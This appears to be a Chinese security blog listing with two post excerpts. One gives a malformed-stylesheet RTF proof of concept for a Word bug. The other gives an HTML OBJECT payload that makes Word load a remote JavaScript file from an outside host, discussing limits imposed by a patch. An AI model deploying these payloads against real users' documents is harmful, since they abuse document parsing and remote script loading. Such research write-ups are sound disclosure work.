作者： wordexp

这个doc的要利用有一定难度:

poc如下:

{\rtf1\ansi\ansicpg409\deff0\deflang1033
{\fonttbl{\f0\fmodern\fprq6\fcharset0 DOTUM;}}
{\stylesheet\stylesheet\stylesheet\stylesheet\.........\stylesheet.................{hi.baidu.com/wordexp\par }}

阅读全文 »

作者：余弦
来源：0×37 Security

Microsoft word javascript execution原文： http://marc.info/?l=bugtraq&m=121121432823704&w=2 ，hi群内讨论过。可以得出一些结论：

1、由于 安装Q313675 安全修补程序后禁用ActiveX 内联数据流功能 ，使得利用JS直接创建ActiveX对象而执行恶意codz的方法不可行。如下code：

<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write('&lt;script src=http://www.0x37.com/doc.js&gt;&lt;/script&gt;')"></OBJECT>

这个远程的doc.js文件能力有限。但是弹出对话框或一个新窗口还是可以的。

阅读全文 »